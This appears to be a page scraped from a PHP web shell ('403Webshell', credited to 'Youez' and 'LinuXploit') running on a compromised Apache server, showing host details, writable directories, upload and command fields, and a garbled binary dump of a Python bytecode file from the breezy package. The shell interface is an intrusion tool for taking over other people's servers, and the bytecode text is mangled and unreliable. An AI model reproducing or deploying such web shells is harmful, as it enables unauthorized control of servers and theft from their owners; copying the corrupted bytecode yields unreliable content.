403Webshell
Server IP : 217.160.0.244  /  Your IP : 216.73.217.138
Web Server : Apache
System : Linux infong-eu155 4.4.400-icpu-108 #2 SMP Wed Feb 11 11:51:01 UTC 2026 x86_64
User : u100174116 ( 6746176)
PHP Version : 8.5.10
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/breezy/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/breezy/__pycache__/clean_tree.cpython-313.pyc
�

p��g<���SSKrSSKrSSKrSSKJrJrJr SSKJr SSK	J
r
 SSKJr SSK
Jr SrS
S	jrSS
jrSrSSjrg)�N�)�
controldir�errors�ui)�gettext)�isdir)�note)�WorkingTreec���URS5=(dY URS5=(dA URS5=(d) URS5=(d URS5$)z>Return True if the supplied path is detritus, False otherwise.z.THISz.BASEz.OTHER�~z.tmp)�endswith)�subps �3/usr/lib/python3/dist-packages/breezy/clean_tree.py�is_detritusrs]��	
�
�
�g��	!��=�=��!�	!��=�=��"�	!��=�=���	!��=�=�� ��c#�># �UR5H�nU(a'[U5(aURU5U4v� M1URU5(a U(aURU5U4v� MeMgU(dMpURU5U4v� M� g7f)z*Iterate through files that may be deleted.N)�extrasr�abspath�
is_ignored)�tree�unknown�ignored�detritusrs     r�iter_deletablesr's������
����D�)�)��,�,�t�$�d�*�*���?�?�4� � ���l�l�4�(�$�.�.���w��l�l�4�(�$�.�.��s�A=B�Bc
�V�[R"U5SnUR5 [[	XaX#S95n[U5n[
U5S:Xa[[S55 SSS5 gU(d�UH$up�[RRU	5 M& [S5n
[RRU
5(d2[RR[S55 SSS5 g[XtS9 SSS5 g!,(df   g=f)z4Remove files in the specified classes from the tree.r)rrrzNothing to delete.Nz%Are you sure you wish to delete these�Canceled)�dry_run)
r
�open_containing�	lock_read�listr�_filter_out_nested_controldirs�lenr	rr�
ui_factory�get_boolean�delete_items)�	directoryrrrr�	no_promptr�
deletables�_pathr�prompts           r�
clean_treer+5s����&�&�y�1�!�4�D�	
���	���D�7�V�
�
�4�J�?�
��z�?�a����-�.�/��
�	��)����
�
�"�"�4�(� *��D�E�F��=�=�,�,�V�4�4��
�
�"�"�7�:�#6�7��
�	�	�Z�1�
�	�	�s�AD�6B	D�	D�
D(c��/nUHIup#[U5(a"[RRU5 M7UR
X#45 MK U$![R
a UR
X#45 Mxf=f)N)rr�
ControlDir�openr�NotBranchError�append)r(�result�pathrs    rr!r!Qsv��
�F� �
����;�;�
��%�%�*�*�4�0�
��M�M�4�,�'�!� �M���(�(�
,��
�
�t�l�+�
,�s�A�&A>�=A>c�N�SnSnUH�upEU(d[[S55 SnU(dM[U5(a[R"XBS9 MO[
R"U5 [SU-5 Mv[SU-5 M� U(d[[S	55 gg![amnUR[R:waUe[RR[S5RXFR55 SnAGMSnAff=f)
z(Delete files in the deletables iterable.c���U[RLd!USR[R:wae[R
R
[S5U-5 g)z'Show warning for errors seen by rmtree.rzunable to remove %sN)�os�remove�errno�EACCESrr#�show_warningr)�functionr2�excinfos   r�onerror�delete_items.<locals>.onerrorisE���2�9�9�$���
�(8�(8�E�L�L�(H��
�
�
�"�"�7�+@�#A�D�#H�IrFzdeleting paths:T)r<z  zunable to remove "{0}": {1}.NzNo files deleted.)r	rr�shutil�rmtreer5�unlink�OSErrorr7r8rr#r9�format�strerror)r(rr<�has_deletedr2r�es       rr%r%fs���J��K� �
�����*�+�,��K���T�{�{��
�
�d�4�	��I�I�d�O�����%�
�����'!�(��W�(�
)�*������w�w�%�,�,�.����M�M�.�.�� >�?�F�F�t�Z�Z�X����	�s�$B-�-
D$�7A!D�D$)FFF)FFFFF)F)r7r5r>�rrr�i18nr�osutilsr�tracer	�workingtreer
rrr+r!r%�rr�<module>rLsL��"
�	�
�$�$����$��/� 
��
���
2�8�*!+r

Youez - 2016 - github.com/yon3zu
LinuXploit